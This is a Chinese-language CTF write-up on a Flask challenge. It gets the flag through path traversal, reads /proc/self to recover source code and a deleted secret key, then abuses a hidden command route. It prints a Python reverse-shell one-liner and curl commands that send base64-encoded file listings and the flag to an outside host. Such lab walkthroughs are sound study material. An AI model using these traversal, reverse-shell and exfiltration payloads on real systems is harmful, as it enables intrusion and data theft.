读取源码,反弹shell
解题过程
打开环境,输入随便啥东西,url会变化,已GET方式进行的传参url
尝试文件读取,../../../../etc/passwd
,会下载一个图片,使用编辑器打开,证明是可以文件读取的
非预期
直接读取flag文件,../../../../flag
,23333333333
预期解
读取
/proc/self/environ
/proc/self/cmdline
得到python2 app.py
,读取源码
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
分析一下:
首先是定义了SECRET_KEY
,然后将其删除,但是没有关闭,所以还能够在/proc/self/fd/xxx
里找到,而且本题含有文件读取漏洞,所以可以得到SECRET_KEY
。
/page
下是定义了一个文件读取的功能
/no_one_know_the_manager
下是传两个参数,如果key == SECRET_KEY
,那么就可以执行命令,但是没有回显,可以用来反弹shell.
SECRET_KEY
读取/proc/self/fd/xxx
,数字从一开始,到三的时候发现
lxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7k=
python反弹shell
有了key值,就可使用python进行反弹shell
首先监听3333端口(port自定)
nc -lvp 3333
/no_one_know_the_manager?key=lxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7k=&shell=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
反弹shell之后,cat即可
curl反弹shell
客户机监听端口3333
nc -lvp 3333
no_one_know_the_manager?key=lxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7k=&shell=curl ip:port/`ls /|base64`
no_one_know_the_manager?key=lxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7k=&shell=curl ip:port/`cat /flag|base64`
执行的命令分别是
ls /|base64
cat /flag|base64
使用`执行命令
再解码一次,得到flag